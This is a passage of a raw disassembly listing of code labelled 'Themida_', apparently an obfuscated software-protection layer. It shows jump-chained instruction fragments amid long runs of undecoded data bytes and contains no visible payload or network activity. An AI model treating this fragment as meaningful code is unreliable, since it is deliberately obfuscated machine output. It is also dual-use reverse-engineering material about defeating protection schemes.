346D4DF3h, 77B6E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_538EA2: ; CODE XREF: Themida_:005391A3j mov esi, edi jmp loc_535C94 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 1B78EDB9h, 56D1F773h, 1B78F0BEh, 5EF10173h, 0E959CB01h dd 0FFFFD8BDh ; --------------------------------------------------------------------------- loc_538EC4: ; CODE XREF: Themida_:00541539j xor dword ptr [esp], 6411547Ch mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_53F7A5 ; --------------------------------------------------------------------------- loc_538EDF: ; CODE XREF: Themida_:0053DB92j movzx cx, al push cx pushf jmp loc_535363 ; --------------------------------------------------------------------------- loc_538EEB: ; CODE XREF: Themida_:0053704Bj xor eax, 74F0011Eh xor eax, 0DEBCBA24h jmp loc_539D59 ; --------------------------------------------------------------------------- aWst db 'Wéâ ',0 align 10h loc_538F00: ; CODE XREF: Themida_:0053ACB6j mov edi, esp push ebx mov ebx, 3C8C0B69h dec ebx jmp loc_5404EA ; --------------------------------------------------------------------------- dw 0C146h dd 0D5E904EEh, 8700004Dh, 248B2434h, 2434FF24h, 65D66859h dd 2C890000h, 815D5424h, 4C5h, 58545000h, 405h, 4E88300h dd 6820E9h db 0 ; --------------------------------------------------------------------------- loc_538F41: ; CODE XREF: Themida_:00541610j mov ebp, 4A4B0954h sub ebp, 1 push esi mov esi, 410D30FBh push edx mov edx, 0C9711BCh jmp loc_539946 ; --------------------------------------------------------------------------- db 83h, 4, 24h dd 240C8B04h, 81E18951h, 4C1h, 4BD5500h, 1000000h, 0DE58E9E9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_538F7A: ; CODE XREF: Themida_:00541778j mov esp, [esp] mov [esp], dx push ax pushf jmp loc_535363 ; --------------------------------------------------------------------------- byte_538F89 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00535178o dd 0FFE368E9h, 4B9FFh, 0CF010000h, 702E9h, 2434FF00h db 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], ecx push 4 mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_541605 ; --------------------------------------------------------------------------- dw 0E958h dd 273h, 4C381h, 1C870000h, 0E9555C24h, 3524h, 2C681h dd 34870000h, 24248B24h, 1C8BD800h, 0E1895124h, 0FFEB30E9h dd 0F7D0F7FFh, 28BF57D8h, 2130A872h, 56485FF8h, 5FFDD8BEh dd 5EF031DFh, 38E0EA81h, 0C22902D4h, 38E0C281h, 0E95802D4h dd 0FFFFF7E2h, 4C6815Eh, 55000000h, 350BE9h, 287DB300h dd 0ABE95BDEh, 29000075h, 240C8BCBh, 4C481h, 0C3010000h dd 2FB95157h, 0BF2D1F70h, 6EE100B5h, 5EFC14Fh, 4710C781h dd 0F781079Fh, 557FF35Eh, 8159CF29h, 88469AEFh, 5EFC138h dd 0DF6C781h, 5FE92CDDh, 89000000h, 5E542434h, 1A4EBA52h dd 0C281539Ah, 0AC65E5B6h, 505AD601h, 140CE9h, 405AB900h dd 0CD013B05h, 0FFD925E9h db 0FFh ; --------------------------------------------------------------------------- loc_5390A9: ; CODE XREF: Themida_:005417A4j pop ebp xchg eax, [esp] pop esp and eax, ebp pop ebp shr eax, 0Eh jmp loc_53F148 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 50000000h, 0A5AE9h, 7EEE8000h, 148BF530h, 4C48324h dd 8904EC83h, 26E92414h, 89FFFFECh, 60C5E9E0h, 0E7D10000h dd 18D0EF81h, 0EB81605Eh, 61A46482h, 43C2C381h, 0FB016A54h dd 43C2EB81h, 0D3686A54h, 89000026h, 47B9240Ch, 0D158150Bh dd 63FAE9E1h, 315A0000h, 796FE9FEh, 0C7810000h, 13523FDEh dd 2C78159h, 87000000h, 248B243Ch, 0F9C3E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_539132: ; CODE XREF: Themida_:0053D715j sub ah, 0Fh neg ah sub ah, 7Eh mov ch, ah mov eax, [esp] jmp loc_53A15C ; --------------------------------------------------------------------------- dd 0EE81D6F7h, 2AFB989Ah, 348BF029h, 4C48124h, 5F000000h dd 69DBE9h db 0 ; --------------------------------------------------------------------------- loc_53915D: ; CODE XREF: Themida_:0053BEF6j mov edi, [esp] jmp loc_53FD1D ; --------------------------------------------------------------------------- db 68h, 0D6h, 34h dd 4890000h, 82E7B824h, 0C38136B7h, 40EE5AABh, 0EB81C301h dd 40EE5AABh, 69CBE9h, 53515800h, 0B82536BBh, 0FCB85053h dd 0E9552C51h, 7BDh ; --------------------------------------------------------------------------- loc_539198: ; CODE XREF: Themida_:005388AFj mov edx, 226B6A61h push edi mov edi, 4D2FDA7Ah jmp loc_538EA2 ; --------------------------------------------------------------------------- dd 2C0BBE56h, 0E6C12858h, 0F7E6D108h, 0AFF681DEh, 892B4398h dd 81525EF2h, 5536242Ch, 0E95B2242h, 7592h, 8124348Bh dd 4C4h, 0F404E900h, 0C909FFFFh, 3F3CE9h, 24048F00h, 4240483h dd 83243C8Bh, 0E95304C4h, 85F3h, 88FDB652h, 0D8F65AF0h dd 0C886D0F6h, 0FFE12DE9h, 58C501FFh, 8B242C87h, 81682424h dd 89000027h, 0EC81241Ch, 4, 83242489h, 8B042404h, 0E953241Ch dd 0FFFFEBFBh, 0C5B85051h, 0B91F1310h, 1F1310C9h, 158C129h dd 0C28359CAh, 24148704h, 93E9575Ch, 80FFFFF9h, 0C8000FE9h dd 50536659h, 234868h, 241C8900h, 500DE9h db 0 ; --------------------------------------------------------------------------- loc_539261: ; CODE XREF: Themida_:00536A6Dj pop ebx add ecx, 90BEE4A5h add edx, ecx pop ecx push ebx mov ebx, 4 add edx, ebx jmp loc_53BBC5 ; --------------------------------------------------------------------------- loc_539278: ; CODE XREF: Themida_:00540DAEj add dword ptr [esp], 4 pop edx add edx, 4 push ecx mov ecx, 2 sub esp, 4 mov [esp], ecx mov ecx, 162C3ACDh add edx, ecx mov ecx, [esp] add esp, 4 sub edx, ecx sub edx, 162C3ACDh mov ecx, [esp] add esp, 4 push edx push dword ptr [esp+4] mov edx, [esp] jmp loc_53A05A ; --------------------------------------------------------------------------- loc_5392BA: ; CODE XREF: Themida_:0053B44Bj add ebp, 5B013530h jmp loc_535A64 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 0E904C483h, 2838h, 0FEFAE180h, 0C2E980C9h, 0FFEAF7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5392DD: ; CODE XREF: Themida_:0053DDF4j xor ebx, [esp] pop esp jmp loc_535363 ; --------------------------------------------------------------------------- loc_5392E6: ; CODE XREF: Themida_:00537D51j pop dword ptr [esp] pop esp sub [esp], eax pushf jmp loc_535363 ; --------------------------------------------------------------------------- db 0BEh dd 4, 835EF301h, 0E95302C3h, 15Bh, 0E962EA80h, 0FFFFDB51h dd 1C8BDF29h, 4C48324h, 835FFB01h, 1C8704C3h, 24248B24h dd 5A2434FFh, 1BA068h, 243C8900h, 0BA52E789h, 4, 815AD701h dd 4ECh, 7F74E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_539342: ; CODE XREF: Themida_:0053B50Aj mov ebx, esi mov esi, [esp] add esp, 4 pop ecx and eax, ebx push dword ptr [esp] mov ebx, [esp] jmp loc_53CCA7 ; --------------------------------------------------------------------------- dd 72322EBAh, 5AD53101h, 284BE9h, 5BD98900h, 0E941D9F7h dd 0FFFFE3A5h, 4C481h, 54560000h, 8124348Bh, 4C4h, 4C68100h dd 53000000h, 0C381E389h, 4, 4EB81h, 1C870000h, 2C895C24h dd 4BD24h, 0B1E90000h, 87FFFFDFh, 0D35C2404h, 0E99C243Ch dd 0FFFFBFAFh ; --------------------------------------------------------------------------- loc_5393B4: ; CODE XREF: Themida_:0053EF00j add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] mov edi, [esp] push ebp jmp loc_5386B2 ; --------------------------------------------------------------------------- loc_5393CF: ; CODE XREF: Themida_:005416B2j xor [esp], edx xor edx, [esp] pop esp mov [esp], eax jmp loc_538158 ; --------------------------------------------------------------------------- dw 74FFh dd 8F5E0424h, 248B2404h, 2404D224h, 0BF71E99Ch, 295AFFFFh dd 6084E9D8h, 248B0000h, 9CC83B24h, 0FFBF5EE9h db 0FFh ; --------------------------------------------------------------------------- loc_539405: ; CODE XREF: Themida_:005396CDj sub esi, 0FFFFFFFFh shl esi, 2 add esi, 7CB81C9Bh add eax, esi mov esi, [esp] add esp, 4 push dword ptr [edi+eax*4] mov eax, [esp] push edx push 13BEh mov [esp], esp add dword ptr [esp], 4 pop edx push eax mov eax, 4 jmp loc_536F71 ; --------------------------------------------------------------------------- dw 0C483h dd 0E9C10104h, 3C94h, 86C180h, 0FE0859CFh, 0FFCC24E9h dd 51A68FFh, 41E90000h, 0FF00002Dh, 5B042474h, 8B24048Fh dd 0F1F62424h, 0CCB60F66h, 34EE6866h, 240C8966h, 0C8B60F66h dd 0E99C5166h, 762Ch, 0C15EF021h, 0C8310AE8h, 63E8E9h db 0 ; --------------------------------------------------------------------------- loc_539491: ; CODE XREF: Themida_:0053CBF5j add edx, 1D9239CBh shr edx, 8 shr edx, 8 neg edx xor edx, 966DB9ECh or ecx, edx jmp loc_535EA5 ; --------------------------------------------------------------------------- loc_5394AC: ; CODE XREF: Themida_:0053D3D5j and edx, ecx jmp loc_53AEED ; --------------------------------------------------------------------------- db 8Bh dd 8952242Ch, 4C281E2h, 81000000h, 4C2h, 24148700h, 0FFE691E9h db 0FFh aMsxa db '¬é•€',0 ; DATA XREF: Themida_:005352E4o dw 8900h dd 0E9525EF0h, 3DBBh ; --------------------------------------------------------------------------- loc_5394DC: ; CODE XREF: Themida_:0053F22Fj xor ebx, [esp] mov esp, [esp] jmp loc_535363 ; --------------------------------------------------------------------------- db 47h dd 8106E7C1h, 307C31C7h, 10DCE971h, 0D1880000h, 710FE9h dd 0FE95300h, 89000055h, 81E9243Ch, 81000063h, 4C1h, 0E9575200h dd 0FFFFC31Ah, 0F681D6F7h, 6AB863DAh, 5D7EE951h, 38E90000h dd 0B8FFFFBEh, 2, 48BC529h, 450DE924h, 0EE810000h, 538B3169h dd 2C68359h, 2474FF56h, 48F5E04h, 0C932E924h, 0DE88FFFFh dd 60D5E9h, 4E3C100h, 4B4BDBF7h, 0F381D3F7h, 67B02CB3h dd 15BD801h, 78122DD8h, 1C8B5FA7h, 36E95024h db 76h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53957B: ; CODE XREF: Themida_:00535A02j add ebx, 551E522Fh push esi jmp loc_53ABB7 ; --------------------------------------------------------------------------- loc_539587: ; CODE XREF: Themida_:00536875j push edx push esp pop edx sub esp, 4 mov [esp], ecx jmp loc_53765D ; --------------------------------------------------------------------------- dd 0E9028864h, 0FFFFBDC3h, 97A7ED81h, 0EB018618h, 81EB295Dh dd 226A3CEBh, 0B8505D79h, 7D4C33ECh, 9218FB2Dh, 5E8C128h dd 60CDE940h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5395C6: ; CODE XREF: Themida_:00536B92j add bl, 12h sub bl, 9Fh shr bl, 3 jmp loc_53CD31 ; --------------------------------------------------------------------------- dword_5395D4 dd 240C8B66h, 405B68h, 243C8900h, 0E952E789h, 3C84h, 79ECC781h ; DATA XREF: Themida_:0053517Co dd 5A57D589h, 8BD0895Fh, 77E92414h db 4Dh, 2 dup(0) byte_5395FB db 51h ; DATA XREF: Themida_:0053510Co dd 0FFC914E9h, 0C7815AFFh, 2742FDBh, 31E9C729h, 5900003Dh dd 9E04D800h, 3D9468h, 240C8900h, 5025B353h, 305A68h, 241C8900h dd 29B0D5B3h, 4EE9D828h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_539633: ; CODE XREF: Themida_:005401BEj mov edi, 27586B5Eh mov edx, 4136835Dh jmp loc_5417A9 ; --------------------------------------------------------------------------- dw 4E59h dd 1FB5E9h, 0EE315F00h, 5D2434FFh, 904C483h, 0E95E1C77h dd 0FFFFBD8Fh ; --------------------------------------------------------------------------- loc_53965C: ; CODE XREF: Themida_:0053EE99j or edx, eax shl edx, 1 push 6C5Eh mov [esp], esi jmp loc_53C6DD ; --------------------------------------------------------------------------- loc_53966D: ; CODE XREF: Themida_:00536CC5j mov [esp], ebp jmp loc_53ECEF ; --------------------------------------------------------------------------- db 88h, 7Ch, 87h dd 0EC39E901h, 0B70FFFFFh, 5C30E9C0h, 48F0000h, 34895C24h dd 2BE24h, 0EB810000h, 13F34EC5h, 80E9F301h, 59FFFFE5h dd 2BA52h, 0D7010000h, 5024148Bh, 0FFFA2AE9h, 68E089FFh dd 3C20h, 0BB241C89h, 4, 754ABB53h, 8EE91381h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5396CB: ; CODE XREF: Themida_:0053EF96j not esi jmp loc_539405 ; --------------------------------------------------------------------------- loc_5396D2: ; CODE XREF: Themida_:00535C9Dj sub esi, 1B1A55C7h pop edx push edi mov edi, 0 add edi, 183F0F7Eh sub edi, 77D64EF1h sub edi, esi add edi, 77D64EF1h sub edi, 183F0F7Eh xchg edi, esi pop edi sub esi, 8D7B93E7h sub eax, 7E611055h jmp loc_53B908 ; --------------------------------------------------------------------------- dd 28FBCA81h, 0EA811DC4h, 3220568Dh, 30FCE281h, 0C281655Dh dd 4F347FCEh, 2853EA81h, 64E962AEh, 33FFFFC6h, 89E9240Ch dd 8B00005Bh, 0FF662424h, 0E99C2404h, 0FFFFBC1Fh, 405AD009h dd 2893BE56h, 0F6816927h, 65136934h, 7739EE81h, 0F001E332h dd 1ECE9h, 24148900h, 170468h, 243C8900h, 0FA55A0BFh, 1EF834Ah dd 30E9E781h, 0FCE92D3Eh db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53977F: ; CODE XREF: Themida_:00538A63j push esi pop eax mov esi, [esp] jmp loc_538217 ; --------------------------------------------------------------------------- db 81h, 0E9h, 1 dd 41000000h, 46E7E952h, 0C890000h, 75CAB924h, 0F18153ABh dd 53AB75CBh, 0C8BCF89h, 4C48324h, 34FFF821h, 0D4AEE924h dd 2C8BFFFFh, 46A9E924h, 0C4810000h, 4, 15B8F581h, 14E94DADh dd 80000047h, 0EEE9D3E6h, 51FFFFF8h, 0E9F988h, 88000000h dd 77FE9C8h, 0D5290000h, 0A37E9h, 1AE4BA00h, 0CA8132B1h dd 49F06DAFh, 524DE9h db 0 ; --------------------------------------------------------------------------- loc_5397FD: ; CODE XREF: Themida_:00535666j movzx eax, al jmp loc_53AADA ; --------------------------------------------------------------------------- db 4, 66h, 0E9h dd 9FCh, 8B5BD801h, 0C483243Ch, 2D836804h, 2C890000h, 0E7ADE924h dd 815EFFFFh, 8C0AE4C2h, 74EA811Bh, 0E90D5269h, 0FFFFBC36h dd 0C06FB551h, 0B1E907E5h, 83000025h, 348904ECh, 37E7BE24h dd 0DEF77A8Dh, 1E9DE87h, 8900006Bh, 4832424h, 815D0424h dd 4C5h, 0E9575300h, 1ACh, 4C481h, 97680000h, 89000019h dd 0E956243Ch, 1A3Dh ; --------------------------------------------------------------------------- loc_53987C: ; CODE XREF: Themida_:0053E2B7j xchg edi, [esp] pop esp mov [esp], cx mov cl, 8Ch xor al, cl mov cx, [esp] push ebp mov ebp, esp add ebp, 4 push 0B6Fh jmp loc_53B4C8 ; --------------------------------------------------------------------------- db 50h dd 300D71B8h, 1D58BA50h, 0EA81520Ah, 17B76A1Ah, 0C281C229h dd 17B76A1Ah, 8124048Bh, 4C4h, 24542900h, 24148B04h, 4C481h dd 4810000h, 0F871E524h, 0BA89E944h, 0F268FFFFh, 8900005Ch dd 0F4E9240Ch, 8900004Ah, 0EC83243Ch, 24248904h, 4240481h dd 5F000000h, 0FFE385E9h db 0FFh byte_5398FD db 8Fh, 2, 0E9h ; DATA XREF: Themida_:0053508Co dd 0FFFFBA5Fh ; --------------------------------------------------------------------------- loc_539904: ; CODE XREF: Themida_:0053DF3Fj add ebp, 4 xchg ebp, [esp] pop esp jmp loc_535363 ; --------------------------------------------------------------------------- dd 6624248Bh, 6824048Bh, 595Ch, 54243489h, 0E888E95Eh db 2 dup(0FFh) word_539926 dw 77FFh ; DATA XREF: Themida_:00535104o dd 58669D1Ch, 24041966h, 168EE99Ch, 0E9580000h, 0FFFFC521h dd 24742958h, 3AE6E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_539946: ; CODE XREF: Themida_:00538F58j sub esi, edx jmp loc_53580D ; --------------------------------------------------------------------------- db 5Eh, 1, 0C7h dd 7182E9h, 28883500h, 0B83556D3h, 89AFB8A3h, 0D90158C1h dd 7DFFE9h, 71660D00h, 0F7502AEEh, 0D582414h, 693B4A82h dd 7D06BA52h, 0D00118A6h, 58C1295Ah, 0C8BCF01h, 0E7895724h dd 4C781h, 0C7830000h, 243C8704h, 4390E95Ch, 0F8040000h dd 0A7E9D000h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5399A7: ; CODE XREF: Themida_:0053BED0j push esi mov esi, 36E871A2h mov ecx, esi pop esi or edx, ecx pop ecx and edx, 5A3D2D96h jmp loc_5353D7 ; --------------------------------------------------------------------------- dw 0EB81h dd 0CCE44888h, 15BD801h, 13A32DC8h, 70E937ADh, 0E9FFFFD3h dd 753Eh ; --------------------------------------------------------------------------- loc_5399D8: ; CODE XREF: Themida_:0053540Bj pop esp jmp loc_53A5F2 ; --------------------------------------------------------------------------- loc_5399DE: ; CODE XREF: Themida_:00536C8Aj push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp mov [esp], eax jmp loc_535410 ; --------------------------------------------------------------------------- loc_5399F0: ; CODE XREF: Themida_:0053D323j mov ebp, edi pop edi xor ebp, 5DE163B1h xor ebp, 59A10618h push ebp add dword ptr [esp], 594A14F8h pop edx sub edx, 594A14F8h pop ebp jmp loc_53718E ; --------------------------------------------------------------------------- dd 0C102B5BFh, 0D2AE925h db 2 dup(0) ; --------------------------------------------------------------------------- loc_539A1E: ; CODE XREF: Themida_:00535B7Aj add eax, edi jmp loc_53FD3B ; --------------------------------------------------------------------------- db 0BDh, 0C9h, 25h dd 0ED81222Fh, 5A641E4Ah, 0FFDCCFE9h, 348966FFh, 0E7BE6624h dd 0F029664Ch, 5665E66h, 1666A5Eh, 5E2D66D8h, 0BE5FE96Ah dd 0E5D1FFFFh, 20F8E9h, 0DFE95F00h, 0BE000072h, 752504B2h dd 7DF8E681h, 0BD550096h, 276D3AABh, 40D0E9h, 78706800h dd 0C890000h, 15BD5524h, 0C1320112h, 0FBE903E5h, 5000006Eh dd 1327BB53h, 50567009h, 0D8CE9h, 2434FF00h, 0E2895258h dd 4C281h, 0B9510000h, 2F1A13FFh, 64F0E181h, 9E90791h dd 31000059h, 2C33242Ch, 0FC75E924h db 2 dup(0FFh) word_539AC2 dw 8B66h ; DATA XREF: Themida_:0053528Co dd 8950240Ch, 4294E9E0h db 2 dup(0) word_539ACE dw 8B66h ; DATA XREF: Themida_:00535230o dd 0C668240Ch, 0E900007Fh, 0FFFFCDDEh, 5C240C87h, 1FA9E9h db 0 ; --------------------------------------------------------------------------- loc_539AE5: ; CODE XREF: Themida_:00536312j push esp pop eax jmp loc_53E7BF ; --------------------------------------------------------------------------- dd 8124248Bh, 4C2h, 4C28100h, 0E9000000h, 0FFFFC49Ch ; --------------------------------------------------------------------------- loc_539B00: ; CODE XREF: Themida_:0053E4A9j add esp, 4 jmp loc_53F808 ; --------------------------------------------------------------------------- dd 71BCBE56h, 0F02955B4h, 90E9595Eh, 83FFFFF8h, 0F0E904C4h dd 89000041h, 90E952E0h db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_539B27: ; CODE XREF: Themida_:0053B101j mov esi, edi jmp loc_5376CA ; --------------------------------------------------------------------------- dw 8F58h dd 248B2404h, 0A30F6624h, 0E99C2404h, 0FFFFB823h, 0BAE9D729h dd 5BFFFFFAh, 0FFB816E9h, 4C483FFh, 0FFD68CE9h, 815758FFh dd 4ECh, 243C8900h, 0C781E789h, 4, 4BA52h, 0D9E90000h dd 8100002Eh, 775E7DEFh, 81DFF70Ch, 7C9563C7h, 5FFE0193h dd 2474FF56h, 24348B04h, 8F04C483h, 248B2404h, 0AB0F6624h dd 0E99C2404h, 0FFFFB7C3h, 4C181h, 0C1830000h, 0EF37E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_539BAE: ; CODE XREF: Themida_:005366B0j mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 jmp loc_538DFB ; --------------------------------------------------------------------------- loc_539BC0: ; CODE XREF: Themida_:0053F938j pop ebp jmp loc_53EFCB ; --------------------------------------------------------------------------- dw 335Ah dd 0C31240Ch, 240C3324h, 0FFBE32E9h, 53DFF7FFh, 9E1E68BBh dd 82F3816Fh, 3126E74Fh, 0E1E95BDFh, 66FFFFD3h, 6866F1F7h dd 896672BBh, 50662414h, 0B765E99Ch, 0BE56FFFFh, 523037E1h dd 515EF029h, 855EE5B9h, 131D6832h, 3C890000h, 47CEE924h dd 0C1830000h, 0DA31E904h, 0E6C1FFFFh, 5E6C107h, 104B951h dd 0F1812F1Eh, 252A33F2h, 8102E9C1h, 8D0CBCE9h, 59CE0102h dd 0C005F681h, 1FE9066Bh, 5E00005Dh, 4C481h, 0BF570000h dd 5C5836CBh, 62E8B951h, 0E9410E2Fh, 0FFFFC0DDh ; --------------------------------------------------------------------------- loc_539C64: ; CODE XREF: Themida_:0053B8C7j push 0B5h mov [esp], ebp jmp loc_53D19C ; --------------------------------------------------------------------------- db 81h, 0CFh, 1 dd 56115640h, 0CE7A95BEh, 5EF73180h, 8904EC83h, 0FEBA2414h dd 0F763EE4Fh, 5EAC1D2h, 0C281D2F7h, 1, 3538E9h db 0 ; --------------------------------------------------------------------------- loc_539C9D: ; CODE XREF: Themida_:00539F1Bj mov edx, [esp] add esp, 4 jmp loc_53DADA ; --------------------------------------------------------------------------- dword_539CA8 dd 240C8B66h, 56E78957h, 4BEh, 5EF70100h, 29FA6853h, 71E91670h ; DATA XREF: Themida_:005351D4o dd 5100001Dh, 0C1815954h, 4, 4E981h, 5E90000h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_539CD7: ; CODE XREF: Themida_:00535ABDj push 2444h mov [esp], ebx sub esp, 4 push esp pop dword ptr [esp] sub esp, 4 mov [esp], edi jmp loc_5353C5 ; --------------------------------------------------------------------------- loc_539CF7: ; CODE XREF: Themida_:00536353j popa popf retn ; --------------------------------------------------------------------------- dw 64E9h dd 81FFFFB6h, 0CF0408EEh, 0ABC68113h, 5D6FAF1Bh, 0F6CCE956h db 2 dup(0FFh) word_539D12 dw 34FFh ; DATA XREF: Themida_:005351E0o dd 21E95824h, 2C000017h, 0DD2C67h, 0D7FEE9F8h, 0E7C1FFFFh dd 3EFC103h, 3DFEF81h, 0D7F74706h, 0F781E7D1h, 2BAFF108h dd 616CEF81h, 0C181478Ah, 73500F22h, 0E981F901h, 73500F22h dd 240C875Fh, 0FFEC81E9h db 0FFh ; --------------------------------------------------------------------------- loc_539D59: ; CODE XREF: Themida_:00538EF5j add ebp, eax pop eax jmp loc_538B91 ; --------------------------------------------------------------------------- db 50h, 0B8h, 2Bh dd 29714DCBh, 0C40558C2h, 2D2F022Dh, 26F45672h, 7205D029h dd 2D26F456h, 2F022DC4h, 0FFF66DE9h, 1F281FFh, 8124F760h dd 71071CEAh, 4D4D680Fh, 3C890000h, 1F79BF24h, 75E952BDh dd 6600006Ah, 0C3B25259h, 0FFE33EE9h, 58C589FFh, 215DEE89h dd 348B1C77h, 4C48124h, 0E9000000h, 0FFFFFC0Fh, 6E3AE181h dd 0E9C14E48h, 81D1F707h, 7D7065E9h, 0EF1815Ch, 0E9B099A8h dd 4B6Ah ; --------------------------------------------------------------------------- loc_539DE0: ; CODE XREF: Themida_:0053D849j mov ebp, 50D952BFh jmp loc_535CDA ; --------------------------------------------------------------------------- word_539DEA dw 79BBh ; DATA XREF: Themida_:00535264o dd 68251837h, 723Bh, 0BE243489h, 78024654h, 16BACE81h dd 0EE8331DCh, 52BA52FFh, 4251FA09h, 18CA8142h, 4A3B0901h dd 0B9A2EA81h, 0D6314675h, 5EF3315Ah, 2414F753h, 6E3C15Bh dd 0FFEAFEE9h, 0E0EB80FFh, 0FCB68h, 0C890E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_539E3A: ; CODE XREF: Themida_:0053A0B2j pop edx push dword ptr [esp] pop ebx jmp loc_538227 ; --------------------------------------------------------------------------- loc_539E44: ; CODE XREF: Themida_:0053EF0Dj mov edi, esp add edi, 4 jmp loc_53BC62 ; --------------------------------------------------------------------------- db 88h, 0F8h, 88h dd 1C8B58C2h, 4C48324h, 8002EA80h, 0D1283FF2h, 0E924148Bh dd 0FFFFE24Bh, 8864B151h, 0F3B159C8h, 4C180h, 4E980C1h dd 0FFCAB5E9h, 80C6FEFFh, 3DE927C6h, 5900003Ah, 4C481h dd 0D2310000h, 1F51E9h, 4EC8300h, 0FF240489h, 0E9042474h dd 0FFFFFC86h, 243C895Ch, 4BFh, 0DE98100h, 0E96AA305h dd 0FFFFEC44h, 42D5Ah, 4870000h, 24248B24h, 0B9240C89h dd 5D407150h, 68B6E9h, 24148B00h, 8B04C483h db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_535D5A ; --------------------------------------------------------------------------- dw 0C381h dd 4, 0FFC3D0E9h, 48F59FFh, 24248B24h, 0E902C183h, 75F3h dd 0B7A7B450h, 201FE942h db 2 dup(0) ; --------------------------------------------------------------------------- loc_539F0A: ; CODE XREF: Themida_:0053FDA0j mov edx, eax pop eax sub ecx, 5190510Ah add ecx, edx add ecx, 5190510Ah jmp loc_539C9D ; --------------------------------------------------------------------------- loc_539F20: ; CODE XREF: Themida_:00537805j add esp, 4 or eax, eax jz loc_5384DF push dword ptr [edi+1Ch] jmp loc_540BCC ; --------------------------------------------------------------------------- db 68h dd 1B45h, 0BB241C89h, 3BBF3FDDh, 0F706E3C1h, 0A4BD55DBh dd 811EC949h, 4B37E2E5h, 0F7CD8700h, 45CD87D1h, 0EF8CC581h dd 0EB290CDBh, 0FFE46DE9h, 0B75B59FFh, 8BC728C1h, 0C4832404h dd 527E0404h, 0DEF699B6h, 80B7EE80h, 26E925EEh, 8900006Ch dd 0F6BFE9FDh, 0B850FFFFh, 4, 8758C101h, 0B6E9240Ch db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_539F9B: ; CODE XREF: Themida_:0053BBC0j not eax xor eax, 0BB14EEDAh add ebp, eax pop eax sub ebp, 4 xchg ebp, [esp] jmp loc_536A31 ; --------------------------------------------------------------------------- dd 42474FFh, 24048F5Dh, 0E924248Bh, 5BEDh, 70A6BF57h, 0F7815ABBh dd 41E26064h, 2449E9h db 0 ; --------------------------------------------------------------------------- loc_539FD1: ; CODE XREF: Themida_:0053FE69j add ebx, 4 xchg ebx, [esp] pop esp mov ecx, ebp pop ebp push eax mov eax, 24h sub eax, 3AC1165Ah sub eax, 621F24BDh add eax, edi add eax, 621F24BDh add eax, 3AC1165Ah add [eax], ecx jmp loc_53A141 ; --------------------------------------------------------------------------- db 5Ch, 0FFh, 4 dd 58E99C24h, 89FFFFB3h, 0E80AE9EFh, 4BAFFFFh, 81000000h dd 387A74C7h, 81D7017Fh, 387A74EFh, 46D7E97Fh, 4BE0000h dd 1000000h, 24348BF0h, 81E78957h, 4C7h, 4C78100h, 87000000h dd 248B243Ch, 24043324h, 0E9240431h, 4E61h, 1835E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_53A05A: ; CODE XREF: Themida_:005392B5j add esp, 4 pop dword ptr [esp] pop esp mov [esp], ax jmp loc_535363 ; --------------------------------------------------------------------------- dw 0D801h dd 0FFC739E9h, 243489FFh, 4BEh, 4EC8100h, 89000000h, 0F1E92434h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53A087: ; CODE XREF: Themida_:00536A35j push 434C7E5Eh jmp loc_53F722 ; --------------------------------------------------------------------------- db 81h, 0E3h, 90h dd 81539B79h, 314295E3h, 84F3810Ch, 0E9001040h, 0FFFFBB00h ; --------------------------------------------------------------------------- loc_53A0A8: ; CODE XREF: Themida_:005403DAj mov ebp, 0E6045C29h add edx, ebp pop ebp xor ecx, edx jmp loc_539E3A ; --------------------------------------------------------------------------- db 55h dd 4D067ABDh, 71F58172h, 2968A236h, 242C8BEFh, 0E904C483h dd 2DD7h, 4C781h, 0BD550000h, 4, 0E95DEF29h, 305Ah ; --------------------------------------------------------------------------- loc_53A0E4: ; CODE XREF: Themida_:0053667Cj pop edx xor eax, 44824264h push edi mov edi, 64F204FAh xchg edx, edi not edx xchg edx, edi xor edi, 14F70AEDh jmp loc_53D2CE ; --------------------------------------------------------------------------- db 5Bh, 8Fh, 4 dd 24248B24h, 0E9C8B70Fh, 68FFh dword_53A110 dd 0FF2434FFh, 57582434h, 16E9E789h, 89000037h, 4FF240Ch ; DATA XREF: Themida_:005350E4o dd 240C8B24h, 0E7AEE951h, 65BBFFFFh, 8176F36Bh, 381A18C3h dd 5EBC11Bh, 0FFF87DE9h db 0FFh ; --------------------------------------------------------------------------- loc_53A141: ; CODE XREF: Themida_:00539FFCj pop eax pop ecx loc_53A143: ; CODE XREF: Themida_:0053CCB5j push ebx push ebx jmp loc_536D56 ; --------------------------------------------------------------------------- dw 0F381h dd 253A2884h, 3FBE9h, 0E9D0F700h, 5791h ; --------------------------------------------------------------------------- loc_53A15C: ; CODE XREF: Themida_:0053913Fj add esp, 4 sub bl, ch mov cx, [esp] add esp, 2 add bl, al push ax mov ah, 7Dh 